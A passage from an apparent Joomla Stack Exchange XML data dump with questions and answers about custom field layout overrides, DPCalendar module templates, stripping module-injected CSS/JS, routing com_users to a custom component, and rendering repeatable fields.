?&amp;gt;&#xA;  &amp;lt;li itemscope itemtype=&quot;https://schema.org/Article&quot; class=&quot;list-group-item px-0&quot; style=&quot;background-color:&amp;lt;?php echo $fields_by_name['article-favourite-color']-&amp;gt;value; ?&amp;gt;&quot;&amp;gt;&#xA;     &amp;lt;?php if($image-&amp;gt;image_intro != &quot;&quot;) : ?&amp;gt;&#xA;        &amp;lt;a class=&quot;article-media&quot; href=&quot;&amp;lt;?php echo $item-&amp;gt;link; ?&amp;gt;&quot; itemprop=&quot;url&quot;&amp;gt;&#xA;           &amp;lt;img class=&quot;card-img-top pb-2&quot; src=&quot;&amp;lt;?php echo JURI::root().$image-&amp;gt;image_intro; ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo htmlspecialchars($image-&amp;gt;image_fulltext_alt); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;     &amp;lt;?php endif; ?&amp;gt;&#xA;     &amp;lt;a class=&quot;article-title&quot; href=&quot;&amp;lt;?php echo $item-&amp;gt;link; ?&amp;gt;&quot; itemprop=&quot;url&quot;&amp;gt;&#xA;        &amp;lt;span itemprop=&quot;name&quot;&amp;gt;&#xA;           &amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&#xA;        &amp;lt;/span&amp;gt;&#xA;     &amp;lt;/a&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;  &amp;lt;?php endforeach; ?&amp;gt;&#xA;  &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the code I wrote a long time ago for a friend using mod_latest_news but hopefully It should point you on the right path to achieve what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/alexandreelise/e04d417c9f911ce2ab2a3e931142e89b&quot; rel=&quot;nofollow noreferrer&quot;&gt;link to the snippet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi, From what I understand you try to achieve, you should create an alternate layout for the URL custom field named &quot;reglink&quot; for example. You must place it in your frontend template at this location: /templates/yourfrontendtemplate/html/layouts/com_fields/field/reglink.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example code you might add in this file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;extract($displayData, EXTR_SKIP);&#xA;&#xA;$value = $field-&amp;gt;value;&#xA;&#xA;if ($value == '')&#xA;{&#xA;  return;&#xA;}&#xA;?&amp;gt;&#xA; &amp;lt;a href=&quot;&amp;lt;?php&#xA;     echo htmlspecialchars(JStringPunycode::urlToUTF8($value), &#xA;     ENT_COMPAT,'UTF-8'); ?&amp;gt;&quot; name=&quot;&amp;lt;?php&#xA;  echo $name; ?&amp;gt;&quot; &amp;lt;?php&#xA;  echo !empty($class) ? ' class=&quot;' . $class . '&quot;' : ''; ?&amp;gt; id=&quot;&amp;lt;?php&#xA;  echo $id; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo &#xA;  JText::_('LNG_URL_CUSTOM_FIELD_REGISTRATION_LINK'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;LNG_URL_CUSTOM_FIELD_REGISTRATION_LINK is a language string I added for you so you can override the text of the link. You can create a language override to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you created the alternate layout for the URL custom field. You must go to your admin area for your Joomla! site at this location &lt;a href=&quot;https://example.com/administrator/index.php?option=com_fields&amp;amp;context=com_dpcalendar.event&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://example.com/administrator/index.php?option=com_fields&amp;amp;context=com_dpcalendar.event&lt;/a&gt;    . You must replace example.com with your domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you create a custom field of type URL.&#xA;The name should be &quot;reglink&quot;. As you said in your question.&#xA;Then you go to options tab and near the bottom choose automatic display &quot;Do not display automatically&quot;&#xA;Then the important part to show the URL as a link, choose layout &quot;reglink&quot; (the same name of the file from the steps above).&#xA;Save and close.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next step is your module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code that should work for you&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  /**&#xA;   * @package    DPCalendar&#xA;   * @author     Digital Peak http://www.digital-peak.com&#xA;   * @copyright  Copyright (C) 2007 - 2019 Digital Peak. All rights &#xA;     reserved.&#xA;   * @license    http://www.gnu.org/licenses/gpl.html GNU/GPL&#xA;   */&#xA;  defined('_JEXEC') or die();&#xA;&#xA;   if (!$events) {&#xA;      echo JText::_('MOD_DPCALENDAR_UPCOMING_NO_EVENT_TEXT');&#xA;&#xA;      return;&#xA;    }&#xA;&#xA;    require JModuleHelper::getLayoutPath('mod_dpcalendar_upcoming', &#xA;     '_scripts');&#xA;     ?&amp;gt;&#xA;     &amp;lt;div class=&quot;mod-dpcalendar-upcoming mod-dpcalendar-upcoming- &#xA;       simple mod-dpcalendar-upcoming-&amp;lt;?php echo $module-&amp;gt;id; ?&amp;gt;&quot;&amp;gt;&#xA;      &amp;lt;?php foreach ($groupedEvents as $groupHeading =&amp;gt; $events) { ?&amp;gt;&#xA;      &amp;lt;?php if ($groupHeading) { ?&amp;gt;&#xA;        &amp;lt;div class=&quot;mod-dpcalendar-upcoming-simple__group&quot;&amp;gt;&#xA;        &amp;lt;p class=&quot;mod-dpcalendar-upcoming-simple__heading dp-group- &#xA;          heading&quot;&amp;gt;&amp;lt;?php echo $groupHeading; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;     &amp;lt;?php } ?&amp;gt;&#xA;      &amp;lt;?php foreach ($events as $index =&amp;gt; $event) { ?&amp;gt;&#xA;        &amp;lt;?php $startDate = $dateHelper-&amp;gt;getDate($event-&amp;gt;start_date, &#xA;      $event-&amp;gt;all_day); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php&#xA;        // most important part&#xA;         // context:&#xA;         // for articles: com_content.article&#xA;         // for users: com_users.user&#xA;         // for dpcalendar: com_dpcalendar.event&#xA;          $custom_fields_context = 'com_dpcalendar.event';&#xA;          $jcfields = FieldsHelper::getFields($custom_fields_context, &#xA;          $event, true);&#xA;&#xA;          // bonus: custom fields by name&#xA;          // usage: $fields_by_name['name-of-field']-&amp;gt;value&#xA;           $fields_by_name = &#xA;           \Joomla\Utilities\ArrayHelper::pivot($jcfields, 'name');&#xA;&#xA;          ?&amp;gt;&#xA;            &amp;lt;div class=&quot;mod-dpcalendar-upcoming-simple__event&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;mod-dpcalendar-upcoming-simple__date col- &#xA;           md-4 event-num&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $dateHelper- &#xA;                    &amp;gt;getDateStringFromEvent($event, $params- &#xA;                    &amp;gt;get('date_format'), $params-&amp;gt;get('time_format')); &#xA;             ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;mod-dpcalendar-upcoming- &#xA;                simple__information col-md-8&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php echo $event-&amp;gt;realUrl; ?&amp;gt;&quot; &#xA;              class=&quot;dp-event-url dp-link&quot;&amp;gt;&amp;lt;?php echo $event-&amp;gt;title; ? &#xA;            &amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $event-&amp;gt;realUrl; ?&amp;gt;&quot; &#xA;     class=&quot;dp-event-url dp-link more&quot;&amp;gt;More Info &amp;gt;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;?php echo &#xA;     FieldsHelper::render($custom_fields_context, null, array('field' &#xA;      =&amp;gt; $fields_by_name-&amp;gt;reglink)); ?&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;?php if ($params-&amp;gt;get('show_location') &amp;amp;&amp;amp; &#xA;      isset($event-&amp;gt;locations) &amp;amp;&amp;amp; $event-&amp;gt;locations) { ?&amp;gt;&#xA;                        &amp;lt;?php foreach ($event-&amp;gt;locations as $location) &#xA;      { ?&amp;gt;&#xA;                            &amp;lt;span class=&quot;mod-dpcalendar-upcoming- &#xA;      simple__location&quot;&#xA;                                  data-latitude=&quot;&amp;lt;?php echo $location- &#xA;      &amp;gt;latitude; ?&amp;gt;&quot;&#xA;                                  data-longitude=&quot;&amp;lt;?php echo &#xA;      $location-&amp;gt;longitude; ?&amp;gt;&quot;&#xA;                                  data-title=&quot;&amp;lt;?php echo $location- &#xA;      &amp;gt;title; ?&amp;gt;&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;&amp;lt;?php echo $router- &#xA;      &amp;gt;getLocationRoute($location); ?&amp;gt;&quot; class=&quot;dp-link&quot;&amp;gt;&#xA;                                &amp;lt;?php echo $location-&amp;gt;title; ?&amp;gt;&#xA;                            &amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/span&amp;gt;&#xA;                        &amp;lt;?php } ?&amp;gt;&#xA;                    &amp;lt;?php } ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt; &amp;lt;!-- End of event row --&amp;gt;&#xA;            &amp;lt;?php if ($event-&amp;gt;images-&amp;gt;image_intro) { ?&amp;gt;&#xA;                &amp;lt;div class=&quot;mod-dpcalendar-upcoming- &#xA;         simple__image&quot;&amp;gt;test&#xA;                    &amp;lt;figure class=&quot;dp-figure&quot;&amp;gt;&#xA;                        &amp;lt;img class=&quot;dp-image&quot; src=&quot;&amp;lt;?php echo $event- &#xA;          &amp;gt;images-&amp;gt;image_intro; ?&amp;gt;&quot;&#xA;                             alt=&quot;&amp;lt;?php echo $event-&amp;gt;images- &#xA;          &amp;gt;image_intro_alt; ?&amp;gt;&quot;&amp;gt;&#xA;                        &amp;lt;?php if ($event-&amp;gt;images-&amp;gt;image_intro_caption) &#xA;          { ?&amp;gt;&#xA;                            &amp;lt;figcaption class=&quot;dp-figure__caption&quot;&amp;gt;&amp;lt;? &#xA;           php echo $event-&amp;gt;images-&amp;gt;image_intro_caption; ?&amp;gt; &#xA;         &amp;lt;/figcaption&amp;gt;&#xA;                        &amp;lt;?php } ?&amp;gt;&#xA;                    &amp;lt;/figure&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;            &amp;lt;?php if ($params-&amp;gt;get('show_booking', 1) &amp;amp;&amp;amp; &#xA;          \DPCalendar\Helper\Booking::openForBooking($event)) { ?&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php echo $router- &#xA;        &amp;gt;getBookingFormRouteFromEvent($event, $return); ?&amp;gt;&quot; class=&quot;dp- &#xA;        link dp-link_cta dp-button&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $layoutHelper- &#xA;        &amp;gt;renderLayout('block.icon', ['icon' =&amp;gt; &#xA;       \DPCalendar\HTML\Block\Icon::PLUS]); ?&amp;gt;&#xA;                    &amp;lt;?php echo $translator- &#xA;       &amp;gt;translate('MOD_DPCALENDAR_UPCOMING_BOOK'); ?&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;            &amp;lt;div class=&quot;mod-dpcalendar-upcoming-simple__description&quot;&amp;gt;&#xA;                &amp;lt;?php echo $event-&amp;gt;truncatedDescription; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php $displayData['event'] = $event; ?&amp;gt;&#xA;            &amp;lt;?php echo $layoutHelper-&amp;gt;renderLayout('schema.event', &#xA;           $displayData); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;       &amp;lt;?php } ?&amp;gt;&#xA;       &amp;lt;?php if ($groupHeading) { ?&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;      &amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Its mainly the code you provided but I added some important modifications commented for you so you can make it work or even as a guide.&lt;/p&gt;&#xA;" OwnerUserId="9588" LastEditorUserId="9588" LastEditDate="2020-02-20T23:12:41.513" LastActivityDate="2020-02-20T23:12:41.513" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26750" PostTypeId="2" ParentId="26709" CreationDate="2020-02-20T06:14:38.320" Score="1" Body="&lt;p&gt;I believe that a component overrides the template files as you discovered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So - your solutioncould be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) custom plugin development to remove said files. Here's a discussion: &lt;a href=&quot;https://joomla.stackexchange.com/questions/4953/how-can-i-completely-remove-bootstrap-from-the-frontend-of-joomla&quot;&gt;How can I completely remove Bootstrap from the frontend of Joomla?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) Modify the jdoc:include type=head in your Joomla Template: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.admin-enclave.com/en/articles/joomla/36-customize-the-jdoc-include-type-head-part.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.admin-enclave.com/en/articles/joomla/36-customize-the-jdoc-include-type-head-part.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/29145806/edit-the-output-of-jdocinclude-type-head-via-renderer-head-php-alter&quot;&gt;https://stackoverflow.com/questions/29145806/edit-the-output-of-jdocinclude-type-head-via-renderer-head-php-alter&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;c) I use &lt;strong&gt;&lt;a href=&quot;https://joomla-extensions.kubik-rubik.de/jcc-js-css-control&quot; rel=&quot;nofollow noreferrer&quot;&gt;JCC - JS CSS Control&lt;/a&gt;&lt;/strong&gt; plugin - which is the most reliable and simplest way I have found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I encounter the issue with flexiContent + RSform - so keep my own adaptation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/iamrobert/a1316f598a1acc745fec8cc81d866044&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/iamrobert/a1316f598a1acc745fec8cc81d866044&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As you're seeking the administrator - I would search the module folder for the line of code and comment it out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I don't use K2, I looked at the mod_k2_Stats and found the following in the tmpl folder - so it could be removed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (K2_JVERSION == '30') {&#xA;$document = JFactory::getDocument();&#xA;$document-&amp;gt;addStyleDeclaration('&#xA;    dl.tabs {float:left;margin:10px 0 -1px 0;z-index:50;}&#xA;    dl.tabs dt {float:left;padding:4px 10px;border:1px solid #ccc;margin-left:3px;background:#e9e9e9;color:#666;}&#xA;    dl.tabs dt.open {background:#f9f9f9;border-bottom:1px solid #f9f9f9;z-index:100;color:#000;}&#xA;    div.current {clear:both;border:1px solid #ccc;padding:10px 10px;background:#f9f9f9;}&#xA;    dl.tabs h3 {font-size:12px;line-height:12px;margin:4px;}&#xA;');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or in mod_k2_quick_icons:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;K2HelperHTML::loadHeadIncludes(true, false, true, false);&#xA;if ($modCSSStyling) {&#xA;    $document-&amp;gt;addStyleSheet(JURI::base(true).'/modules/'.$mod_name.'/tmpl/css/style.css?v='.K2_CURRENT_VERSION);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or in other non k2 modules:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = 'modules/mod_adminmenumanager/javascript/responsive.js';&#xA;$document-&amp;gt;addScript($url);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;&amp;lt;script&amp;gt;window.parent.addtomenu_setMessage( '&quot; . JText::_('COM_MENUS_MENU_ITEM_SAVE_SUCCESS', true) . &quot;', 1 );&amp;lt;/script&amp;gt;\n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3485" LastEditorUserId="3485" LastEditDate="2020-03-04T15:37:35.317" LastActivityDate="2020-03-04T15:37:35.317" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26752" PostTypeId="1" CreationDate="2020-02-20T20:38:18.897" Score="0" ViewCount="7646" Body="&lt;p&gt;On the Admin panel (and apparently only there), I got the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Call to a member function format() on null&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The rest of site and the administrator are working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's Joomla 3.8.2 running on php 7.0.33.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't made any update on the site since its configuration. So unless there was a silent update from Joomla, update of the environments by my provider or hacking, I've no clue what may have happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to find a log, but couldn't find any log file reporting the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to activate the debug (&lt;code&gt;public $error_reporting = 'maximum'&lt;/code&gt;), but it activates it only in the front-end.&lt;/p&gt;&#xA;" OwnerUserId="8175" LastEditorUserId="12352" LastEditDate="2020-02-20T22:10:18.467" LastActivityDate="2020-02-21T02:09:35.463" Title="Got a 'Call to a member function format() on null ' on Administrator panel" Tags="|administrator|" AnswerCount="1" CommentCount="9" ClosedDate="2020-03-01T22:07:04.563" ContentLicense="CC BY-SA 4.0" />
  <row Id="26754" PostTypeId="2" ParentId="26752" CreationDate="2020-02-21T02:09:35.463" Score="0" Body="&lt;p&gt;If a more meaningful error message can't be found, it may be difficult to provide an accurate solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, and since you don't mention any impediment to upgrading, you may be able to solve the issue by doing some or all of the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;take a backup of the website before making any changes (I like the free or paid version of Akeeba Backup)&lt;/li&gt;&#xA;&lt;li&gt;update all third party extensions to the latest versions&lt;/li&gt;&#xA;&lt;li&gt;update Joomla to the latest version&lt;/li&gt;&#xA;&lt;li&gt;try updating PHP to &lt;a href=&quot;https://www.php.net/supported-versions.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;a supported version&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Even if this does not solve the issue, it is usually easier for volunteers and extension developers to support the latest version of Joomla and extensions rather than trying to recreate a combination of outdated versions to troubleshoot the problem.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2020-02-21T02:09:35.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26755" PostTypeId="1" AcceptedAnswerId="26756" CreationDate="2020-02-21T04:53:49.453" Score="0" ViewCount="78" Body="&lt;p&gt;I'm developing a Joomla! 3.9.x component and have written a custom com_myusers component. I want to avoid that people login/reset/remind using the standard com_users component and I thought the best way to do that was to write a system plugin that detects the option and view, and in case it's the com_users component it would redirect to the corresponding com_myusers view. So I wonder if there is a reliable function or way to get the internal url of a SEF url or any other way to solve this. Thanks for sharing your ideas!&lt;/p&gt;&#xA;" OwnerUserId="11042" LastActivityDate="2020-02-21T11:57:37.280" Title="Get the option and view values of a SEF url (i.e. the internal url)" Tags="|sef|router|non-sef-url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26756" PostTypeId="2" ParentId="26755" CreationDate="2020-02-21T11:57:37.280" Score="1" Body="&lt;p&gt;The Joomla router will set up the &quot;option&quot;, &quot;view&quot; etc input parameters once it's parsed the SEF URL. So you just have to overwrite those values using the input &lt;code&gt;set&lt;/code&gt; method (&lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Input.Input.html#method_set&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.CMS.Input.Input.html#method_set&lt;/a&gt;). Then your component/view will be executed instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So define a group=&quot;system&quot; plugin which listens for the OnAfterRoute event (which is what is triggered once the router has done its job). Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; public function onAfterRoute()&#xA; {&#xA;    $app = JFactory::getApplication();&#xA;    if ($app-&amp;gt;isSite())&#xA;    {&#xA;        $input = $app-&amp;gt;input;&#xA;        $option = $input-&amp;gt;get('option');&#xA;        $view = $input-&amp;gt;get('view');&#xA;        if ($option == &quot;com_users&quot;)&#xA;        {&#xA;            $input-&amp;gt;set('option', 'com_myusers');&#xA;            $input-&amp;gt;set('view', 'myview');&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(only with more rigorous checking that $option and $view are set, and equal to the appropriate values).&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-02-21T11:57:37.280" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26757" PostTypeId="1" AcceptedAnswerId="26758" CreationDate="2020-02-21T16:15:15.290" Score="2" ViewCount="358" Body="&lt;p&gt;I am struggling to find a way to output the values from a repeatable field in Joomla 3.9.15.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently accessing the custom fields assigned to articles using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::addIncludePath(JPATH_COMPONENT . '/helpers');&#xA;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;$context = 'com_content.article';&#xA;$article = $this-&amp;gt;item;&#xA;$fields = FieldsHelper::getFields($context, $article, true);&#xA;&#xA;foreach($fields as $field) {&#xA;    $fields[$field-&amp;gt;name] = $field;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am outputting single fields using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if($fields['article-subheading']-&amp;gt;value != ''): ?&amp;gt;&#xA;    &amp;lt;?php $class = $fields['article-subheading']-&amp;gt;params-&amp;gt;get('render_class'); ?&amp;gt;&#xA;    &amp;lt;h3 class=&quot;&amp;lt;?php echo $class; ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;span&amp;gt;&amp;lt;?php echo $fields['article-subheading']-&amp;gt;value; ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/h3&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would I need to select the repeatable field, assign it to a variable, then use &lt;code&gt;json_decode&lt;/code&gt;? I see the repeatable field subform code is stored as JSON in the database. See example below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;programs0&quot;:{&quot;Image&quot;:&quot;&quot;,&quot;Title&quot;:&quot;Preschool to Grade 1\/2&quot;,&quot;Sypnosis&quot;:&quot;&amp;lt;p&amp;gt;We introduce the children to the concept of wildlife rehabilitation and the differences between wild and domestic animals. We use storytelling, pictures and one or more of our education animals. The children learn how every one of them can make a difference to help wildlife.&amp;lt;\/p&amp;gt;&quot;,&quot;Duration&quot;:&quot;30 to 40 minutes&quot;,&quot;Class Size&quot;:&quot;Min - 12, Max - 30&quot;}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8253" LastEditorUserId="8253" LastEditDate="2020-02-22T01:59:17.237" LastActivityDate="2020-02-22T02:01:44.170" Title="Override output for repeatable custom fields" Tags="|template-override|custom-field|fields|com-fields|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="26758" PostTypeId="2" ParentId="26757" CreationDate="2020-02-22T02:01:44.170" Score="1" Body="&lt;p&gt;Here is the solution I came up with for my question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$programs = $fields['programs']-&amp;gt;rawvalue;&#xA;$class = $fields['programs']-&amp;gt;params-&amp;gt;get('render_class');&#xA;$items = json_decode($programs, true);&#xA;&#xA;&amp;lt;?php $i = 0; foreach($items as $program): ?&amp;gt;&#xA;&amp;lt;div class=&quot;program &amp;lt;?php echo $class; ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;program__image&quot;&amp;gt;&#xA;        &amp;lt;?php echo $program['Image']; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;h3 class=&quot;program__title&quot;&amp;gt;&#xA;        &amp;lt;?php echo $program['Title']; ?&amp;gt;&#xA;    &amp;lt;/h3&amp;gt;&#xA;    &amp;lt;?php echo $program['Sypnosis']; ?&amp;gt;&#xA;    &amp;lt;div class=&quot;program__meta&quot;&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;strong&amp;gt;&amp;lt;?php echo JText::_('MRWC_PROGRAM_DURATION_TITLE'); ?&amp;gt;&amp;lt;/strong&amp;gt;&#xA;                &amp;lt;?php echo $program['Duration']; ?&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;strong&amp;gt;&amp;lt;?php echo JText::_('MRWC_PROGRAM_CLASS_SIZE_TITLE'); ?&amp;gt;&amp;lt;/strong&amp;gt;&#xA;                &amp;lt;?php echo $program['Class Size']; ?&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;a href=&quot;mailto:education@name.com?subject=Booking for &amp;lt;?php echo $program['Title']; ?&amp;gt; Program&quot;&amp;gt;&amp;lt;?php echo JText::_('MRWC_PROGRAM_BOOK_LABEL'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php $i++; endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8253" LastActivityDate="2020-02-22T02:01:44.170" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26759" PostTypeId="1" CreationDate="2020-02-22T02:19:34.843" Score="0" ViewCount="125" Body="&lt;p&gt;I am using the following code to check to see if my repeatable custom field's state is published/unpublished. If the state is set to &lt;code&gt;0&lt;/code&gt;, the code in between should be hidden, but instead an error is thrown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error: &lt;code&gt;Notice: Trying to get property 'state' of non-object&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;state&quot; object is outputted as &lt;code&gt;public 'state' =&amp;gt; string '1' (length=1)&lt;/code&gt; when I use &lt;code&gt;$programs = $fields['programs']; var_dump($programs);&lt;/code&gt;. I tried changing &lt;code&gt;0&lt;/code&gt; to &lt;code&gt;'0'&lt;/code&gt;, but this does not work either.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if($fields['programs']-&amp;gt;state != 0): ?&amp;gt;&#xA;    &amp;lt;!-- Code is displayed here. --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code does work to check to see if a text field contains a value, but I am needing to ensure that the repeatable field is published before rendering the HTML and output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if($fields['article-description']-&amp;gt;value != ''): ?&amp;gt;&#xA;    &amp;lt;!-- Code is displayed here. --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The custom fields code is being used in the Article default.php file. I have included how that code is being brought into the file below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::addIncludePath(JPATH_COMPONENT . '/helpers');&#xA;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;$context = 'com_content.article';&#xA;$article = $this-&amp;gt;item;&#xA;$fields = FieldsHelper::getFields($context, $article, true);&#xA;&#xA;foreach($fields as $field) {&#xA;    $fields[$field-&amp;gt;name] = $field;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I unpublish the &quot;programs&quot; repeatable custom field, then do a &lt;code&gt;var_dump&lt;/code&gt; of the 